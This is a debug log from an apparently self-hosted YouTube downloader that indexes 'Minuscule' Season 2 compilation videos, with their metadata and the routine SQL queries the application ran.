22:09:12.753 [debug] Current batch of media processed. Will check again in 1000ms 22:09:13.754 [debug] Current batch of media processed. Will check again in 1000ms 22:09:14.755 [debug] Current batch of media processed. Will check again in 1000ms 22:09:15.756 [debug] Current batch of media processed. Will check again in 1000ms 22:09:16.757 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Ants On The Train | S02E52\n00:07:16 | Away all boarders! | S02E41\n00:10:58 | Ladybugland | S02E62\n00:14:26 | Turbo speed | S02E58\n00:17:50 | Chewing gum rodeo | S02E14\n00:21:36 | Homeless | S02E02\n00:25:23 | Woopsy Daysies! | S02E47\n00:28:57 | Night of the Gastropods | S02E18\n00:32:43 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #ants #train #spider #Minuscule #nature #ladybugs #animatedseries", "duration" => 2227, "filename" => "/downloads/Miniscule Season 2/2025-09-06 The Vegetable Garden | Minuscule 🍃 50' Compilation/The Vegetable Garden | Minuscule 🍃 50' Compilation [XQtJAsx-RbU].mp4", "id" => "XQtJAsx-RbU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XQtJAsx-RbU", "playlist_index" => 29, "timestamp" => 1757181638, "title" => "The Vegetable Garden | Minuscule 🍃 50' Compilation", "upload_date" => "20250906"} 22:09:16.758 [debug] QUERY OK source="sources" db=0.3ms idle=586.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:16.759 [debug] QUERY OK source="sources" db=0.3ms idle=587.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:16.760 [debug] QUERY OK source="media_items" db=1.0ms idle=588.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-06 18:00:38Z], 5] 22:09:16.797 [debug] QUERY OK source="media_items" db=36.3ms idle=589.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Ants On The Train | S02E52\n00:07:16 | Away all boarders! | S02E41\n00:10:58 | Ladybugland | S02E62\n00:14:26 | Turbo speed | S02E58\n00:17:50 | Chewing gum rodeo | S02E14\n00:21:36 | Homeless | S02E02\n00:25:23 | Woopsy Daysies! | S02E47\n00:28:57 | Night of the Gastropods | S02E18\n00:32:43 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #ants #train #spider #Minuscule #nature #ladybugs #animatedseries", "The Vegetable Garden | Minuscule 🍃 50' Compilation", "95237937-b0c8-4dc2-adb4-82945454c7ff", "XQtJAsx-RbU", 2227, false, 5, "https://www.youtube.com/watch?v=XQtJAsx-RbU", 29, "/downloads/Miniscule Season 2/2025-09-06 The Vegetable Garden | Minuscule 🍃 50' Compilation/The Vegetable Garden | Minuscule 🍃 50' Compilation [XQtJAsx-RbU].mp4", false, false, false, [], 1, ~U[2025-09-06 18:00:38Z], ~U[2025-12-12 05:09:16Z], ~U[2025-12-12 05:09:16Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Ants On The Train | S02E52\n00:07:16 | Away all boarders! | S02E41\n00:10:58 | Ladybugland | S02E62\n00:14:26 | Turbo speed | S02E58\n00:17:50 | Chewing gum rodeo | S02E14\n00:21:36 | Homeless | S02E02\n00:25:23 | Woopsy Daysies! | S02E47\n00:28:57 | Night of the Gastropods | S02E18\n00:32:43 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #ants #train #spider #Minuscule #nature #ladybugs #animatedseries", "The Vegetable Garden | Minuscule 🍃 50' Compilation", "XQtJAsx-RbU", 2227, false, 5, "https://www.youtube.com/watch?v=XQtJAsx-RbU", "/downloads/Miniscule Season 2/2025-09-06 The Vegetable Garden | Minuscule 🍃 50' Compilation/The Vegetable Garden | Minuscule 🍃 50' Compilation [XQtJAsx-RbU].mp4", false, ~U[2025-09-06 18:00:38Z]] 22:09:16.798 [debug] QUERY OK source="sources" db=0.3ms idle=116.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:16.799 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=40.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:16.800 [debug] QUERY OK source="media_items" db=0.4ms idle=40.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [96695] 22:09:16.800 [debug] Current batch of media processed. Will check again in 1000ms 22:09:17.801 [debug] Current batch of media processed. Will check again in 1000ms 22:09:18.802 [debug] Current batch of media processed. Will check again in 1000ms 22:09:18.825 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:19.803 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Turbo speed | S02E58\n00:03:24 | At Full Speed | S02E27\n00:07:08 | Fly Hunting | S02E24\n00:10:41 | Spider Driver | S02E36\n00:14:23 | Mission : BBQ | S02E09\n00:18:08 | Zzz In The Metro | S02E53\n00:21:44 | Trapped | S02E64\n00:25:26 | Ladybugland | S02E62\n00:28:54 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Turbo #Dragonflies #Beans #Ladybird #race #insects #country #wacky #Minuscule #nature #ladybugs #animatedseries", "duration" => 1983, "filename" => "/downloads/Miniscule Season 2/2025-09-04 Turbo speed | Minuscule 🍃 45' Compilation/Turbo speed | Minuscule 🍃 45' Compilation [NMhU-D734N0].mp4", "id" => "NMhU-D734N0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NMhU-D734N0", "playlist_index" => 30, "timestamp" => 1756980038, "title" => "Turbo speed | Minuscule 🍃 45' Compilation", "upload_date" => "20250904"} 22:09:19.804 [debug] QUERY OK source="sources" db=0.3ms idle=1632.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:19.805 [debug] QUERY OK source="sources" db=0.3ms idle=1633.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:19.806 [debug] QUERY OK source="media_items" db=1.0ms idle=1120.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-04 10:00:38Z], 5] 22:09:19.831 [debug] QUERY OK source="media_items" db=23.8ms idle=981.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Turbo speed | S02E58\n00:03:24 | At Full Speed | S02E27\n00:07:08 | Fly Hunting | S02E24\n00:10:41 | Spider Driver | S02E36\n00:14:23 | Mission : BBQ | S02E09\n00:18:08 | Zzz In The Metro | S02E53\n00:21:44 | Trapped | S02E64\n00:25:26 | Ladybugland | S02E62\n00:28:54 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Turbo #Dragonflies #Beans #Ladybird #race #insects #country #wacky #Minuscule #nature #ladybugs #animatedseries", "Turbo speed | Minuscule 🍃 45' Compilation", "c0a45301-feaf-4bd8-b202-6a5bc0ac18d9", "NMhU-D734N0", 1983, false, 5, "https://www.youtube.com/watch?v=NMhU-D734N0", 30, "/downloads/Miniscule Season 2/2025-09-04 Turbo speed | Minuscule 🍃 45' Compilation/Turbo speed | Minuscule 🍃 45' Compilation [NMhU-D734N0].mp4", false, false, false, [], 1, ~U[2025-09-04 10:00:38Z], ~U[2025-12-12 05:09:19Z], ~U[2025-12-12 05:09:19Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Turbo speed | S02E58\n00:03:24 | At Full Speed | S02E27\n00:07:08 | Fly Hunting | S02E24\n00:10:41 | Spider Driver | S02E36\n00:14:23 | Mission : BBQ | S02E09\n00:18:08 | Zzz In The Metro | S02E53\n00:21:44 | Trapped | S02E64\n00:25:26 | Ladybugland | S02E62\n00:28:54 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Turbo #Dragonflies #Beans #Ladybird #race #insects #country #wacky #Minuscule #nature #ladybugs #animatedseries", "Turbo speed | Minuscule 🍃 45' Compilation", "NMhU-D734N0", 1983, false, 5, "https://www.youtube.com/watch?v=NMhU-D734N0", "/downloads/Miniscule Season 2/2025-09-04 Turbo speed | Minuscule 🍃 45' Compilation/Turbo speed | Minuscule 🍃 45' Compilation [NMhU-D734N0].mp4", false, ~U[2025-09-04 10:00:38Z]] 22:09:19.832 [debug] QUERY OK source="sources" db=0.4ms idle=144.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:19.833 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=28.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:19.834 [debug] QUERY OK source="media_items" db=0.6ms idle=28.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [96696] 22:09:19.834 [debug] Current batch of media processed. Will check again in 1000ms 22:09:20.835 [debug] Current batch of media processed. Will check again in 1000ms 22:09:21.836 [debug] Current batch of media processed. Will check again in 1000ms 22:09:22.837 [debug] Current batch of media processed. Will check again in 1000ms 22:09:23.838 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:03:45 | Woopsy Daysies! | S02E47\n00:07:19 | Chewing gum rodeo | S02E14\n00:11:05 | If Only Lonely | S02E22\n00:14:50 | The Wing Case | S02E01\n00:18:36 | Fly Hunting | S02E24\n00:22:09 | Ladybugland | S02E62\n00:25:37 | An Acorn Season | S02E05\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #leaps #calculation #house #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1801, "filename" => "/downloads/Miniscule Season 2/2025-08-30 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation [PKmKoMbaCQU].mp4", "id" => "PKmKoMbaCQU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=PKmKoMbaCQU", "playlist_index" => 31, "timestamp" => 1756576831, "title" => "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation", "upload_date" => "20250830"} 22:09:23.839 [debug] QUERY OK source="sources" db=0.3ms idle=667.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:23.840 [debug] QUERY OK source="sources" db=0.3ms idle=668.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:23.841 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=669.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-30 18:00:31Z], 5] 22:09:23.877 [debug] QUERY OK source="media_items" db=35.0ms idle=670.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:03:45 | Woopsy Daysies! | S02E47\n00:07:19 | Chewing gum rodeo | S02E14\n00:11:05 | If Only Lonely | S02E22\n00:14:50 | The Wing Case | S02E01\n00:18:36 | Fly Hunting | S02E24\n00:22:09 | Ladybugland | S02E62\n00:25:37 | An Acorn Season | S02E05\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #leaps #calculation #house #Minuscule #nature #insects #ladybugs #animatedseries", "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation", "33603a15-fe7d-48ff-b588-32f8af83fd36", "PKmKoMbaCQU", 1801, false, 5, "https://www.youtube.com/watch?v=PKmKoMbaCQU", 31, "/downloads/Miniscule Season 2/2025-08-30 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation [PKmKoMbaCQU].mp4", false, false, false, [], 1, ~U[2025-08-30 18:00:31Z], ~U[2025-12-12 05:09:23Z], ~U[2025-12-12 05:09:23Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:03:45 | Woopsy Daysies! | S02E47\n00:07:19 | Chewing gum rodeo | S02E14\n00:11:05 | If Only Lonely | S02E22\n00:14:50 | The Wing Case | S02E01\n00:18:36 | Fly Hunting | S02E24\n00:22:09 | Ladybugland | S02E62\n00:25:37 | An Acorn Season | S02E05\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #leaps #calculation #house #Minuscule #nature #insects #ladybugs #animatedseries", "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation", "PKmKoMbaCQU", 1801, false, 5, "https://www.youtube.com/watch?v=PKmKoMbaCQU", "/downloads/Miniscule Season 2/2025-08-30 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation [PKmKoMbaCQU].mp4", false, ~U[2025-08-30 18:00:31Z]] 22:09:23.877 [debug] QUERY OK source="sources" db=0.2ms idle=182.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:23.878 [debug] QUERY OK source="media_profiles" db=0.2ms idle=38.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:23.879 [debug] QUERY OK source="media_items" db=0.3ms idle=38.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour 